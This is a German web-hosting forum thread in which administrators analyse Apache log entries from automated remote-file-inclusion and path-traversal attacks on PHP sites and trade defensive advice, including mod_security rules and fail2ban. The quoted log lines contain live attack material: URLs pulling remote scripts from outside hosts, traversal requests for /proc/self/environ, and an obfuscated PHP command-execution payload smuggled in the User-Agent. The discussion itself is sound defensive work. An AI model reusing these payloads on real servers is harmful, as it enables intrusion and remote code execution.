Hackversuch per Code-Injection ?

Pascal

New Member
Moin,

gestern hat mir logwatch in der täglichen e-Mail folgendes mitgeteilt:
Code:
Attempts to use known hacks by 2 hosts were logged 6 time(s) from:
host-14.azamedia.com: 4 Time(s)
8.7.26.27: 2 Time(s)

Darauf hab ich erstmal in die access.log geschaut. Dort stand dann folgendes:

Code:
host-14.azamedia.com - - [17/Sep/2008:15:56:37 +0200] "GET /champions-league-uefa-cup//index2.php?mosConfig_absolute_path=http://www.agsplus.ru/content/i??? HTTP/1.1" 404 14 "-" "http://cr4nk.ws/ [de] (Windows 3.1; I) [crank]"
host-14.azamedia.com - - [17/Sep/2008:15:56:37 +0200] "GET /champions-league-uefa-cup/errors.php?error=http://www.agsplus.ru/content/i??? HTTP/1.1" 404 14 "-" "http://cr4nk.ws/ [de] (Windows 3.1; I) [crank]"
host-14.azamedia.com - - [17/Sep/2008:15:56:38 +0200] "GET /champions-league-uefa-cup//index2.php?mosConfig_absolute_path=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 404 14 "-" "<? $x0e=\"\\145x\\x65\\x63\"; $x0f=\"\\x66eo\\146\"; $x10=\"\\x66\\x72ea\\x64\"; $x11=\"\\146un\\x63\\164io\\x6e\\x5f\\x65x\\151s\\x74\\x73\"; $x12=\"i\\163\\x5f\\162\\x65s\\157ur\\x63\\x65\"; $x13=\"\\152\\157\\x69\\156\"; $x14=\"o\\142_g\\145t\\x5f\\x63o\\156\\164en\\x74\\x73\"; $x15=\"ob\\137\\x65\\156d\\137\\x63lea\\156\"; $x16=\"\\x6fb_st\\x61\\x72\\164\"; $x17=\"\\x70\\141\\163s\\164\\x68\\162\\165\"; $x18=\"\\x70\\143\\154ose\"; $x19=\"p\\157\\160e\\x6e\"; $x1a=\"\\163h\\145\\154l\\137\\x65\\170e\\143\"; $x1b=\"\\x73\\x79s\\x74e\\x6d\"; function x0b($x0b){ global $x0e,$x0f,$x10,$x11,$x12,$x13,$x14,$x15,$x16,$x17,$x18,$x19,$x1a,$x1b;  $x0c = ''; if (!empty($x0b)) {if($x11('exec')) {@$x0e($x0b,$x0c);$x0c = $x13(\"\\n\",$x0c); }elseif($x11('shell_exec')) {$x0c = @$x1a($x0b); }elseif($x11('system')) {@$x16();@$x1b($x0b);$x0c = @$x14();@$x15(); }elseif($x11('passthru')) {@$x16();@$x17($x0b);$x0c = @$x14();@$x15(); }elseif(@$x12($x0d = @$x19($x0b,\"\\x72\"))){ $x0c = \"\"; while(!@$x0f($x0d)) { $x0c .= @$x10($x0d,1024); } @$x18($x0d);} } return $x0c;}echo x0b(\"ec\\150\\157\\x20c\\1624n\\153\\137\\x72oc\\153s\");?>"
host-14.azamedia.com - - [17/Sep/2008:15:56:38 +0200] "GET /champions-league-uefa-cup//index2.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 404 14 "-" "<? $x0e=\"\\145x\\x65\\x63\"; $x0f=\"\\x66eo\\146\"; $x10=\"\\x66\\x72ea\\x64\"; $x11=\"\\146un\\x63\\164io\\x6e\\x5f\\x65x\\151s\\x74\\x73\"; $x12=\"i\\163\\x5f\\162\\x65s\\157ur\\x63\\x65\"; $x13=\"\\152\\157\\x69\\156\"; $x14=\"o\\142_g\\145t\\x5f\\x63o\\156\\164en\\x74\\x73\"; $x15=\"ob\\137\\x65\\156d\\137\\x63lea\\156\"; $x16=\"\\x6fb_st\\x61\\x72\\164\"; $x17=\"\\x70\\141\\163s\\164\\x68\\162\\165\"; $x18=\"\\x70\\143\\154ose\"; $x19=\"p\\157\\160e\\x6e\"; $x1a=\"\\163h\\145\\154l\\137\\x65\\170e\\143\"; $x1b=\"\\x73\\x79s\\x74e\\x6d\"; function x0b($x0b){ global $x0e,$x0f,$x10,$x11,$x12,$x13,$x14,$x15,$x16,$x17,$x18,$x19,$x1a,$x1b;  $x0c = ''; if (!empty($x0b)) {if($x11('exec')) {@$x0e($x0b,$x0c);$x0c = $x13(\"\\n\",$x0c); }elseif($x11('shell_exec')) {$x0c = @$x1a($x0b); }elseif($x11('system')) {@$x16();@$x1b($x0b);$x0c = @$x14();@$x15(); }elseif($x11('passthru')) {@$x16();@$x17($x0b);$x0c = @$x14();@$x15(); }elseif(@$x12($x0d = @$x19($x0b,\"\\x72\"))){ $x0c = \"\"; while(!@$x0f($x0d)) { $x0c .= @$x10($x0d,1024); } @$x18($x0d);} } return $x0c;}echo x0b(\"ec\\150\\157\\x20c\\1624n\\153\\137\\x72oc\\153s\");?>"
host-14.azamedia.com - - [17/Sep/2008:15:56:38 +0200] "GET //index2.php?mosConfig_absolute_path=http://www.agsplus.ru/content/i??? HTTP/1.1" 404 14 "-" "http://cr4nk.ws/ [de] (Windows 3.1; I) [crank]"
host-14.azamedia.com - - [17/Sep/2008:15:56:39 +0200] "GET /errors.php?error=http://www.agsplus.ru/content/i??? HTTP/1.1" 404 14 "-" "http://cr4nk.ws/ [de] (Windows 3.1; I) [crank]"
host-14.azamedia.com - - [17/Sep/2008:15:56:39 +0200] "GET //index2.php?mosConfig_absolute_path=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 404 14 "-" "<? $x0e=\"\\145x\\x65\\x63\"; $x0f=\"\\x66eo\\146\"; $x10=\"\\x66\\x72ea\\x64\"; $x11=\"\\146un\\x63\\164io\\x6e\\x5f\\x65x\\151s\\x74\\x73\"; $x12=\"i\\163\\x5f\\162\\x65s\\157ur\\x63\\x65\"; $x13=\"\\152\\157\\x69\\156\"; $x14=\"o\\142_g\\145t\\x5f\\x63o\\156\\164en\\x74\\x73\"; $x15=\"ob\\137\\x65\\156d\\137\\x63lea\\156\"; $x16=\"\\x6fb_st\\x61\\x72\\164\"; $x17=\"\\x70\\141\\163s\\164\\x68\\162\\165\"; $x18=\"\\x70\\143\\154ose\"; $x19=\"p\\157\\160e\\x6e\"; $x1a=\"\\163h\\145\\154l\\137\\x65\\170e\\143\"; $x1b=\"\\x73\\x79s\\x74e\\x6d\"; function x0b($x0b){ global $x0e,$x0f,$x10,$x11,$x12,$x13,$x14,$x15,$x16,$x17,$x18,$x19,$x1a,$x1b;  $x0c = ''; if (!empty($x0b)) {if($x11('exec')) {@$x0e($x0b,$x0c);$x0c = $x13(\"\\n\",$x0c); }elseif($x11('shell_exec')) {$x0c = @$x1a($x0b); }elseif($x11('system')) {@$x16();@$x1b($x0b);$x0c = @$x14();@$x15(); }elseif($x11('passthru')) {@$x16();@$x17($x0b);$x0c = @$x14();@$x15(); }elseif(@$x12($x0d = @$x19($x0b,\"\\x72\"))){ $x0c = \"\"; while(!@$x0f($x0d)) { $x0c .= @$x10($x0d,1024); } @$x18($x0d);} } return $x0c;}echo x0b(\"ec\\150\\157\\x20c\\1624n\\153\\137\\x72oc\\153s\");?>"
host-14.azamedia.com - - [17/Sep/2008:15:56:39 +0200] "GET //index2.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 404 14 "-" "<? $x0e=\"\\145x\\x65\\x63\"; $x0f=\"\\x66eo\\146\"; $x10=\"\\x66\\x72ea\\x64\"; $x11=\"\\146un\\x63\\164io\\x6e\\x5f\\x65x\\151s\\x74\\x73\"; $x12=\"i\\163\\x5f\\162\\x65s\\157ur\\x63\\x65\"; $x13=\"\\152\\157\\x69\\156\"; $x14=\"o\\142_g\\145t\\x5f\\x63o\\156\\164en\\x74\\x73\"; $x15=\"ob\\137\\x65\\156d\\137\\x63lea\\156\"; $x16=\"\\x6fb_st\\x61\\x72\\164\"; $x17=\"\\x70\\141\\163s\\164\\x68\\162\\165\"; $x18=\"\\x70\\143\\154ose\"; $x19=\"p\\157\\160e\\x6e\"; $x1a=\"\\163h\\145\\154l\\137\\x65\\170e\\143\"; $x1b=\"\\x73\\x79s\\x74e\\x6d\"; function x0b($x0b){ global $x0e,$x0f,$x10,$x11,$x12,$x13,$x14,$x15,$x16,$x17,$x18,$x19,$x1a,$x1b;  $x0c = ''; if (!empty($x0b)) {if($x11('exec')) {@$x0e($x0b,$x0c);$x0c = $x13(\"\\n\",$x0c); }elseif($x11('shell_exec')) {$x0c = @$x1a($x0b); }elseif($x11('system')) {@$x16();@$x1b($x0b);$x0c = @$x14();@$x15(); }elseif($x11('passthru')) {@$x16();@$x17($x0b);$x0c = @$x14();@$x15(); }elseif(@$x12($x0d = @$x19($x0b,\"\\x72\"))){ $x0c = \"\"; while(!@$x0f($x0d)) { $x0c .= @$x10($x0d,1024); } @$x18($x0d);} } return $x0c;}echo x0b(\"ec\\150\\157\\x20c\\1624n\\153\\137\\x72oc\\153s\");?>"
host-14.azamedia.com - - [19/Sep/2008:13:41:47 +0200] "GET /champions-league-uefa-cup//index2.php?mosConfig_absolute_path=http://www.kampeermarkt.com/banner/i??? HTTP/1.1" 404 14 "-" "http://cr4nk.ws/ [de] (Windows 3.1; I) [crank]"
host-14.azamedia.com - - [19/Sep/2008:13:41:48 +0200] "GET /champions-league-uefa-cup/errors.php?error=http://www.kampeermarkt.com/banner/i??? HTTP/1.1" 404 14 "-" "http://cr4nk.ws/ [de] (Windows 3.1; I) [crank]"
host-14.azamedia.com - - [19/Sep/2008:13:41:48 +0200] "GET /champions-league-uefa-cup//index2.php?mosConfig_absolute_path=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 404 14 "-" "<? $x0e=\"\\145x\\x65\\x63\"; $x0f=\"\\x66eo\\146\"; $x10=\"\\x66\\x72ea\\x64\"; $x11=\"\\146un\\x63\\164io\\x6e\\x5f\\x65x\\151s\\x74\\x73\"; $x12=\"i\\163\\x5f\\162\\x65s\\157ur\\x63\\x65\"; $x13=\"\\152\\157\\x69\\156\"; $x14=\"o\\142_g\\145t\\x5f\\x63o\\156\\164en\\x74\\x73\"; $x15=\"ob\\137\\x65\\156d\\137\\x63lea\\156\"; $x16=\"\\x6fb_st\\x61\\x72\\164\"; $x17=\"\\x70\\141\\163s\\164\\x68\\162\\165\"; $x18=\"\\x70\\143\\154ose\"; $x19=\"p\\157\\160e\\x6e\"; $x1a=\"\\163h\\145\\154l\\137\\x65\\170e\\143\"; $x1b=\"\\x73\\x79s\\x74e\\x6d\"; function x0b($x0b){ global $x0e,$x0f,$x10,$x11,$x12,$x13,$x14,$x15,$x16,$x17,$x18,$x19,$x1a,$x1b;  $x0c = ''; if (!empty($x0b)) {if($x11('exec')) {@$x0e($x0b,$x0c);$x0c = $x13(\"\\n\",$x0c); }elseif($x11('shell_exec')) {$x0c = @$x1a($x0b); }elseif($x11('system')) {@$x16();@$x1b($x0b);$x0c = @$x14();@$x15(); }elseif($x11('passthru')) {@$x16();@$x17($x0b);$x0c = @$x14();@$x15(); }elseif(@$x12($x0d = @$x19($x0b,\"\\x72\"))){ $x0c = \"\"; while(!@$x0f($x0d)) { $x0c .= @$x10($x0d,1024); } @$x18($x0d);} } return $x0c;}echo x0b(\"ec\\150\\157\\x20c\\1624n\\153\\137\\x72oc\\153s\");?>"
host-14.azamedia.com - - [19/Sep/2008:13:41:49 +0200] "GET /champions-league-uefa-cup//index2.php?mosConfig_absolute_path=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 404 14 "-" "<? $x0e=\"\\145x\\x65\\x63\"; $x0f=\"\\x66eo\\146\"; $x10=\"\\x66\\x72ea\\x64\"; $x11=\"\\146un\\x63\\164io\\x6e\\x5f\\x65x\\151s\\x74\\x73\"; $x12=\"i\\163\\x5f\\162\\x65s\\157ur\\x63\\x65\"; $x13=\"\\152\\157\\x69\\156\"; $x14=\"o\\142_g\\145t\\x5f\\x63o\\156\\164en\\x74\\x73\"; $x15=\"ob\\137\\x65\\156d\\137\\x63lea\\156\"; $x16=\"\\x6fb_st\\x61\\x72\\164\"; $x17=\"\\x70\\141\\163s\\164\\x68\\162\\165\"; $x18=\"\\x70\\143\\154ose\"; $x19=\"p\\157\\160e\\x6e\"; $x1a=\"\\163h\\145\\154l\\137\\x65\\170e\\143\"; $x1b=\"\\x73\\x79s\\x74e\\x6d\"; function x0b($x0b){ global $x0e,$x0f,$x10,$x11,$x12,$x13,$x14,$x15,$x16,$x17,$x18,$x19,$x1a,$x1b;  $x0c = ''; if (!empty($x0b)) {if($x11('exec')) {@$x0e($x0b,$x0c);$x0c = $x13(\"\\n\",$x0c); }elseif($x11('shell_exec')) {$x0c = @$x1a($x0b); }elseif($x11('system')) {@$x16();@$x1b($x0b);$x0c = @$x14();@$x15(); }elseif($x11('passthru')) {@$x16();@$x17($x0b);$x0c = @$x14();@$x15(); }elseif(@$x12($x0d = @$x19($x0b,\"\\x72\"))){ $x0c = \"\"; while(!@$x0f($x0d)) { $x0c .= @$x10($x0d,1024); } @$x18($x0d);} } return $x0c;}echo x0b(\"ec\\150\\157\\x20c\\1624n\\153\\137\\x72oc\\153s\");?>"

Das ist jetzt nur ein Auszug.

Damit kenn ich mich nicht wirklich aus, aber sieht so aus, als ob da jemand versucht hat php-Code einzuschleusen und auzuführen.

Mir stellt sich nun die Frage, ob es sich dabei um einen gescheiterten Versuch handelt, oder ob der Angreifer damit Erfolg hatte. Wie kann ich das feststellen?
Das ist sozsagen mein "erstes Mal" :D , wie geh ich also nun weiter vor?

Kurz noch einige Facts zur Konfiguration: safe_mode off (laut phpinfo und confixx Webinterface, laut den ganzen php.ini-Dateien sollte er jedoch an sein?) disabled_functions keine, suphp, confixx, zend optimizer.

safe_mode, würde ich gerne aktivieren, jedoch bringt mich das Bearbeiten der php.ini-Dateien und per Confixx-Webinterface da nicht weiter (phpinfo sagt weiterhin, dass er aus ist). Woran kann das liegen?
 
Last edited by a moderator:
Mir stellt sich nun die Frage, ob es sich dabei um einen gescheiterten Versuch handelt, oder ob der Angreifer damit Erfolg hatte. Wie kann ich das feststellen?
Indem du dir die Statuscodes der Abfragen ansiehst. In deinem Fall waren das jeweils 404 -> nicht gefunden, also unbedenklich.
 
Indem du dir die Statuscodes der Abfragen ansiehst. In deinem Fall waren das jeweils 404 -> nicht gefunden, also unbedenklich.
Puuh, das wollte ich hören :)

Hi,

wie und vor allem welche php.ini hast du denn bearbeitet?

so ziemlich alle, die ich gefunden hab.

Inziwschen ist der SafeMode aktiviert :) Nach ausführen von confixx_counterscript.pl wurde die Änderungen übernommen.

Allerdings möchte ich den Thread nutzen um direkt noch einige weitere Fragen zum Thema Sicherheit loszuwerden, da der Server die letzten Tage auffallend häufig "Opfer" von Versuchen wird, sich per diverse Schnittstellen einzuloggen.

Logwatsch wieß mich heute auf folgendes hin:
Code:
**Unmatched Entries**
  courierpop3login - 1756 Times
     (...)
     Disconnected, ip=[::ffff:212.241.221.74] - 202 Times
     Disconnected, ip=[::ffff:80.154.35.22] - 2 Times
     LOGIN FAILED, user=Administrator, ip=[::ffff:212.241.221.74] - 4 Times
     LOGIN FAILED, user=abuse, ip=[::ffff:212.241.221.74] - 4 Times
     LOGIN FAILED, user=account, ip=[::ffff:212.241.221.74] - 4 Times
     LOGIN FAILED, user=administrator, ip=[::ffff:212.241.221.74] - 4 Times
     LOGIN FAILED, user=andrew, ip=[::ffff:212.241.221.74] - 2 Times
     LOGIN FAILED, user=andy, ip=[::ffff:212.241.221.74] - 2 Times
     LOGIN FAILED, user=anna, ip=[::ffff:212.241.221.74] - 8 Times
     LOGIN FAILED, user=backup, ip=[::ffff:212.241.221.74] - 52 Times
     LOGIN FAILED, user=demo, ip=[::ffff:212.241.221.74] - 54 Times
     LOGIN FAILED, user=help, ip=[::ffff:212.241.221.74] - 6 Times
     LOGIN FAILED, user=info, ip=[::ffff:212.241.221.74] - 2 Times
     LOGIN FAILED, user=mail, ip=[::ffff:212.241.221.74] - 2 Times
     LOGIN FAILED, user=manager, ip=[::ffff:212.241.221.74] - 4 Times
     LOGIN FAILED, user=news, ip=[::ffff:212.241.221.74] - 12 Times
     LOGIN FAILED, user=public, ip=[::ffff:212.241.221.74] - 2 Times
     LOGIN FAILED, user=sales, ip=[::ffff:212.241.221.74] - 4 Times
     LOGIN FAILED, user=service, ip=[::ffff:212.241.221.74] - 2 Times
     LOGIN FAILED, user=spam, ip=[::ffff:212.241.221.74] - 4 Times
     LOGIN FAILED, user=support, ip=[::ffff:212.241.221.74] - 8 Times
     LOGIN FAILED, user=test, ip=[::ffff:212.241.221.74] - 10 Times
     LOGIN FAILED, user=test2, ip=[::ffff:212.241.221.74] - 4 Times
     LOGIN FAILED, user=webadmin, ip=[::ffff:212.241.221.74] - 6 Times
     (...)  
     LOGOUT, ip=[::ffff:212.241.221.74] - 200 Times

In wiefern ist das bedenklich? (es gab auch Versuche sich per sasl und postfix einzuloggen) Hab als Reaktion darauf erstmal fail2ban auch für sasl und courierpop3 konfiguriert (da es für sasl ebenfalls mehrmals Versuche gab sich einzuloggen). Ist das sinnvoll?


Und noch eine Frage bezüglich mod_security für Apache2.
Beim Starten des Apaches nach der Installation von mod_security wollte er nichtmehr anspringen. Grund dafür war, dass er die Logfiles für mod_security nicht anlegen konnte. Muss ich die Logfiles "manuell" als root anlegen oder muss ich einfach noch irgendwelche Zugriffsrechte "manuell" setzen?
 
Hallo, soweit ich erkennen kann hat er versucht deinen Joomla mit einem automatisierten script nach rfi (remote file inclusion) abgesucht.
Leider ist momentan das Joomla das unsicherste CMS System. Also ich habe 90% von den von mir besuchten ca 30 Website in Deutschland Joomla Systeme undicht gefunden. Ich habe selbst auch eine Joomla Website, daher versuche ich auf den laufenden zu bleiben. In den meisten Fällen kann man sogar den Server infiltrieren. Daher Joomla nur mit Vorsicht benutzen.
 
Leider ist momentan das Joomla das unsicherste CMS System[..]
:rolleyes:
Also mit so einer Aussage disqualifizierst du dich doch selbst.



Natürlich sollte man alles Software nur mit Vorsicht einsetzen, aber dafür ist man ja auch verantwortungsvoller Admin. Updates einspielen gehört zum Handwerk. Das bei Joomla hin und wieder auch mal idiotische Sicherheitslücken auftauchen und in der Breite publik werden, hängt einfach mit der Verbreitung von Joomla selbst zusammen.
 
Eigentlich wollte ich ja nicht antworten aber so einfach ist es auch wieder nicht wenn man etwas kritisiert sollte man auch etwas über das System wissen.
Es gibt noch einige unsauber programmierte bereiche in Joomla die dieses RFI zulassen und nicht Publik sind. Wenn mann etwas Erfahrung und Zeit hat natürlich kann man einige unsauber programmierte Bereiche finden.
Ich für meinen Teil kann mein Joomla System schützen aufgrund meiner Erfahrung. Aber das von Anfänger zu erwarten ist zu viel. Daher wie ich schon gesagt habe nur mit Vorsicht installieren.
Vielleicht hätte ich sagen sollen das bekannteste unsicherste System.

Ich kann nur erwiedern

:rolleyes:
Also mit so einer Aussage disqualifizierst du dich doch selbst.


Exploits von Joomla
 
Last edited by a moderator:
Hi,

bin schon seit einiger Zeit "stiller" Teilnehmer am Forum. Der ein- oder andere Beitrag hat mir schon sehr weitergeholfen. Jetzt muss ich doch mal etwas aktiv werden und mal fragen...:)

Bei einer routinemäßigen Durchsicht meiner apache2 logs bin ich auf folgende Zeile gestoßen:
Code:
62.103.64.107 - - [09/Oct/2008:13:42:28 +0200] "GET /index.php?page=../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 7615 "-" "Mozilla/3.0 (compatible; Indy Library)"

Roger Wilco said:
Indem du dir die Statuscodes der Abfragen ansiehst. In deinem Fall waren das jeweils 404 -> nicht gefunden, also unbedenklich.
Stutzig macht mich nur, dass in meiner log der Status 200 OK ausgegeben wird!:eek:
Die index.php gibt es ja wirklich auf diesem DocumentRoot - deshalb bekomm ich wohl den Status 200 gemeldet. Der ganze Summs ../../proc/selv/environ wird in page gepostet und von der index.php mit $_GET['page'] geholt.
Da ich in der index.php mit switch/case arbeite und selbstverständlich keine Dateioperationen o.ä. direkt mit den geposteten Daten mache, sollte dies kein Problem darstellen.

Somit dürfte imho ein Status 200 bei dieser RFI Attacke auch kein Prob sein.

Bitte korrigiert mich, falls ich da falsch liege!:)

caMelCase
 
Führ' die Anfrage doch mal so auf deinem Server aus. Dann siehst du ob er was echtes zurück gibt.
 
Die Anfrage
Code:
index.php?page=../../../../../../../../../proc/self/environ%00
lässt dem Apache ganz normal die index.php parsen, als hätte ich sie ohne ?page=... aufgerufen. Geloggt wird das ganze mit Status 200.

Das ist es ja, was ich meine... Status 200, weil die Datei index.php gefunden wurde. Im Falle von Pascal gabs nen Status 404, weil die vom Angreifer vermutlich auf gut Glück angesprochene index2.php nicht existierte.

Liege ich da richtig oder irre ich mich?
Bin leider noch kein LAMP Experte. :o

Im Apache ist open_basedir auf das DocumentRoot und auf /tmp gelegt.
Bin ich damit gegen solge Attacken sicher oder wird hier eine Sicherheitslücke im Apache getestet??

caMelCase
 
Hallo,

Liege ich da richtig
ja.

wird hier eine Sicherheitslücke im Apache getestet?
Nein, eine Sicherheitslücke in der index.php. Irgendein PHP-Paket (Forum, CMS usw) hat(te) eine dazu passende Lücke, Deine selbstgeschriebene index.php nicht.

Stell Dir mal vor, Du hättest register_globals off und in der index.php
Code:
include($page);
# oder
exec($page);
 
Danke, charli!

Habs verstanden. So in der Richtung hatte ich es mir schon vorgestellt, war mir nur nicht sicher.

caMelCase
 
Das alles sind irgendwelche Scriptkiddies, die fertige Rootkits benutzen. Bei uns werden tausende von solchen Angriffen pro Tag durchgeführt. Meistens ist das aber harmlos, weil die Sicherheitslücken bereits geschlossen sind.
 
Hilfe!!! Meine Homepage wurde genau mit diesem GET gehackt.

Ein Hacker schafte es regelmässig ein File hirako.php auf meinem Mainverzeichnis (wo die index.php Seite ist) abzulegen.

Bei den Log – Files habe ich festgestellt, dass er sich mit genau dem -> GET /index.php?main_id=../../../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 19417 "-" "<? echo '_rce_';echo php_uname………….“<- Zugang auf meinem Webserver geschafft hat.

Hat mir jemand ein Tipp wie ich diese Sicherheitslücke schliessen kann?

Ich tappe momentan komplett im Dunkeln und bin für jeden kleinen Tipp dankbar.

Vielen Dank
 
Ein Schritt in die richtige Richtung wäre, die Webapplikation vom Netz zu nehmen, bis du den Fehler behoben hast. Der nächste Schritt wäre, die Webapplikation konkret zu stopfen.
 
Warum kein mod_security? Genau dafür wurde das Teil geschrieben.
Auch Scriptkiddies können Glück haben. Warum zuschauen und hoffen, daß alles gut geht?

Schnellschuss nach Blick auf die Logauszüge:

Code:
SecFilterSelective REQUEST_URI|ARGS "\/\.\.\/\.\.\/\.\.\/\.\.\/proc\/self\/environ"
SecFilterSelective REQUEST_URI|ARGS "\/content\/i\?\?\?"

Rules sind ver. 1.9.5; not 2.x Muss man halt anpassen.

Edit: Folgende Rule habe ich eben getestet:

Code:
SecFilterSelective THE_REQUEST "\/\.\.\/\.\.\/\.\.\/\.\.\/proc\/self\/environ"

Und dann im Browser:

Code:
http://blaserver/index.php?../../../../../../../../proc/self/environ

Ergebnis: Der Server hat mich per iptables ausgesperrt;)...ist absichtlich so konfiguriert
 
Last edited by a moderator:
Hi,

magst du uns verraten wie du das realisiert hast, das der Angreifer gleich per iptables geblockt wird..

Schöne Grüße
Michael
 
Back
Top